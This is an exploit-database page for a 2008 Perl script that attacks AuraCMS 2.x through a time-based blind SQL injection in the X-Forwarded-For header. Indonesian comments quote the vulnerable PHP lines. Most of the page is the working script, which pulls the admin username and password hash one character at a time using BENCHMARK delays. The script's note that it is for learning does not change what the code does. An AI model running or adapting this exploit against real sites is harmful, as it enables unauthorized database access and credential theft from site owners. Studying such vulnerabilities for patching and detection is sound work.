Exploit AuraCMS 2.2.1 - 'X-Forwarded-For' HTTP Header Blind SQL Injection

[Exploiter]

EDB-ID

5256

Проверка EDB

1. Пройдено

Автор

NTOS-TEAM

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-1398

Дата публикации

2008-03-14

#!/usr/bin/perl -w
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# AuraCMS 2.x (online.php) - Remote Blind SQL Injection Exploit
# Waktu			:  Feb 15 2008 01:00PM
# Software		:  AuraCMS   
# Versi			:  2.0
#			   2.1
#			   2.2.1
# Vendor 		:  http://www.auracms.org/
#
# ------------------------------------
# Audit Oleh 		:  NTOS-Team
# Lokasi		:  Indonesia | http://newhack.org
# Penjelasan		:
# 
# Kutu pada berkas "online.php"
# ---//---
# 05. $uipanda=getenv("HTTP_X_FORWARDED_FOR"); // <- Injeksi!
# 06. $uproxyserver=getenv("HTTP_VIA");
# 07. $uipproxy=getenv("REMOTE_ADDR");
# 08. $uhost=gethostbyaddr($uipproxy);
# 09. $utime=time();
# 10. $now=$utime-600; // (in seconds)
# --//--
# 12. @mysql_query("delete from useronline where timevisit<$now");
# 13. $uexists=@mysql_num_rows(@mysql_query("select id from useronline where ipproxy='$uipproxy'"));
# 14. if ($uexists>0){
# 15. @mysql_query("update useronline set timevisit='$utime' where ipproxy='$uipproxy'");
# 16. } else {
# 17. @mysql_query("insert into useronline (ipproxy,host,ipanda,proxyserver,timevisit) values('$uipproxy','$uhost','$uipanda','$uproxyserver','$utime')"); // <- Injeksi!
# 18. }
# ---//---
# Injeksi dilakukan melalui manipulasi header X-Forwarded-For yang ditumpangi perintah SQL
# referensi mengenai injeksi SQL "INSERT" -> http://www.milw0rm.com/papers/149
#
# => Perhatian!
# "Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari"
# Segela penyalahgunaan dan kerusakan yang diakibat dari exploit ini bukan tanggung jawab kami
# 
# =>Newhack Technology, OpenSource & Security
# ~ NTOS-Team->[fl3xu5,opt1lc] ~   
use IO::Socket;
use strict;

if(!$ARGV[1]){ 
print "\n  |-------------------------------------------------------|";
print "\n  |            Indonesian Newhack Technology              |"; 
print "\n  |-------------------------------------------------------|";
print "\n  |  AuraCMS 2.x (online.php) Remote Blind SQL Injection  |";
print "\n  |                 Coded by NTOS-Team                    |";
print "\n  |-------------------------------------------------------|";
print "\n[!] "; 
print "\n[!] Exploit Berhasil jika magic_quotes_gpc = off pada server";
print "\n[!] Penggunaan : perl aura2x-bsqli.pl [Site] [Path] [bencmark_delay]";
print "\n[!] Contoh     : perl aura2x-bsqli.pl localhost /auracms2.x/ 2500000";
print "\n[!] ";
print "\n";
exit;
}

my $delay	= "2000000";
my $host       	= $ARGV[0];
my $dir         = $ARGV[1];
if ($ARGV[2]) { 
	$delay = $ARGV[2]; 
	}

print "\nTarget url : ".$host.$dir."\n\n";
$host =~ s/(http:\/\/)//;

my @array = ("user","password");

print "=> Mencoba mencari satu per satu aksara yang tepat - Sabar ya.... ;)\n\n";

sleep(1);

&blindsql();

sub blindsql() {
	my $x 		= "";
	my $i		= "";
	my $string	= "";
	my $res		= "1";
	for ( $x=0; $x<=$#array; $x++ ) {
		my $j = 1;
		$res  = 1;
		while ($res) {
			for ($i=32;$i<=127;$i++) {
				$res = 0;
				if ( $x eq 1 ) {
					next if ( $i < 48 );
					next if ( ( $i > 57 ) and ( $i < 97 ) );
					next if ( $i > 102 );
				}
				my $injeksi  = "$i' AND IF(ASCII(SUBSTRING((SELECT ".$array[$x]." FROM useraura LIMIT 1),$j,1))=$i,BENCHMARK(".$delay.",MD5('X')),0) ,'$i','$i')/*";
							
				my $mulai = time();
				my $req = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Error - Koneksi Gagal\n\n";
				print $req "GET ".$dir."index.php?pilih=stat&mod=yes HTTP/1.1\r\n";
				print $req "Host: $host\r\n";
				print $req "X-Forwarded-For: ".$injeksi."\r\n";
			 	print $req "Keep-Alive: 300\r\n";
			    	print $req "Connection: Keep-Alive\r\n";
        			print $req "Cache-Control: no-cache\r\n";
        			print $req "Connection: close\r\n\r\n";
				while (my $result = <$req>) {
					if ( $result =~ /404 Not Found/ ) {
					printf "\n\nFile not found.\n\n";
					print "\n\n$result\n\n";
					exit;
				}
				if ( $result =~ /400 Bad Request/ ) {
					printf "\n\nBad request.\n\n";
					print "\n\n$result\n\n";
					exit;
				}
			}
			my $akhir = time();
			my $waktuproses = $akhir - $mulai;
				if ( $waktuproses > 4 ) {
				$string .= chr($i);
				print "\n\tMendapatkan Aksara : ".chr($i)."\n\n";
				$res = 1;
				last;
			}
			print "\tMencoba Aksara : ".chr($i)."\n";
		}
		$j++;
		if ( !$res ) {
			$array[$x] = $string;
			$string = "";
		}
	}
}
print "\n----------------------\n";
print "Admin username : $array[0]\n";
print "Admin password : $array[1]\n\n";
}

# milw0rm.com [2008-03-14]